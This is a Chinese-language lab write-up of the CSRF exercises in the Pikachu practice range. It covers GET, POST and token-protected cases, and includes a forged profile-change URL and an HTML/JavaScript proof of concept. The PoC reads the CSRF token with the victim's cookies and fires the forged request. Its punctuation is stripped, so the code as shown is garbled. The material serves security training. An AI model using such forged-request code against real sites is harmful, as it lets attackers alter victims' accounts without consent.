Pikachu之csrf CSRF(get)这里要先登录账号密码可以看提示登录后是个人信息可以修改个人信息我们打开bp抓包查看一下数据包是get类型那么我们可以把修改参数的代码?sexgirlphonenum11111111111addnbalakesemailkobe%40pikachu.comsubmitsubmit和修改页面的代码拼接一下http://pikachu.com/vul/csrf/csrfget/csrf_get_edit.phphttp://pikachu.com/vul/csrf/csrfget/csrf_get_edit.php?sexgirlphonenum11111111111addnbalakesemailkobe%40pikachu.comsubmitsubmit当我们在新开页输入这个url后kobe的性别就被我们改成girl了CSRF(post)也是修改个人信息我们抓包一下这里是post就不能用url了我们在数据包请求这里选-相关工具-CSRF PoC生成点击复制html这里因为是靶场所以我就放到本地浏览器里面测试正常的话应该要在虚拟机里部署这个html网页然后登录着kobe账户去访问那个网页并点击相应按钮这样就会达成修改的操作保持登录状态然后点击按钮点击后性别修改为girl返回前一个页面刷新也变成girl修改成功CSRF Token抓包看看这是一个get请求但是携带了token值且每次的值都会改变那么我们就需要自己去编写poc了通过请求获取token值然后将token值加在我们的csrf中!DOCTYPE html html head meta charsetUTF-8 titlecsrf/title /head body a hrefjavascript:doCSRF()go csrf/a !-- 点击后会执行JavaScript函数 doCSRF() -- script function doCSRF() { // 定义了一个名为 doCSRF 的函数点击链接时触发 var xhr new XMLHttpRequest(); // 创建一个用于发送HTTP请求的对象可以理解为浏览器内置的发请求工具 xhr.open(GET, http://pikachu.com/vul/csrf/csrftoken/token_get_edit.php, true); // 设置请求方式为GET请求的目标地址true表示异步不阻塞页面 xhr.withCredentials true; // 允许跨域请求时携带cookie等身份凭证这样才能用受害者登录后的身份去获取数据 xhr.onreadystatechange function() { // 绑定一个事件处理函数当请求状态发生变化时自动调用 if (xhr.readyState 4 xhr.status 200) { // readyState为4代表请求已完成status为200代表服务器正常返回了内容 var token xhr.responseText.match(/nametoken\svalue([a-zA-Z0-9])/); // 使用正则表达式从返回的HTML中提取token值匹配例如 nametoken valueabc123 这样的格式并捕获value里的内容 if (token) { // 如果成功提取到tokentoken是一个数组下标1就是捕获到的具体值 new Image().src http://pikachu.com/vul/csrf/csrftoken/token_get_edit.php?sexgirlphonenum11111111111addnbalakesemailkobe%40pikachu.comtoken token[1] submitsubmit; // 创建一个看不见的图片对象把它的src属性设置为修改个人信息的URL拼接上抓取到的token和想要修改的内容浏览器会立即以GET方式请求这个地址由于也会带上cookie服务端就会认为是受害者自己发起的修改请求从而完成攻击 document.getElementById(status).innerHTML OK; // 将状态显示为“OK”提示攻击执行完毕 } } }; xhr.send(); // 发送第一步的请求去获取包含token的页面 } /script /body /html编写好这个html后放到pikachu目录下这是我的目录D:\phpstudy_pro\WWW\pikachu然后打开pikachu.com/你的html名字.html保持页面为登录状态点击按钮刷新页面修改成功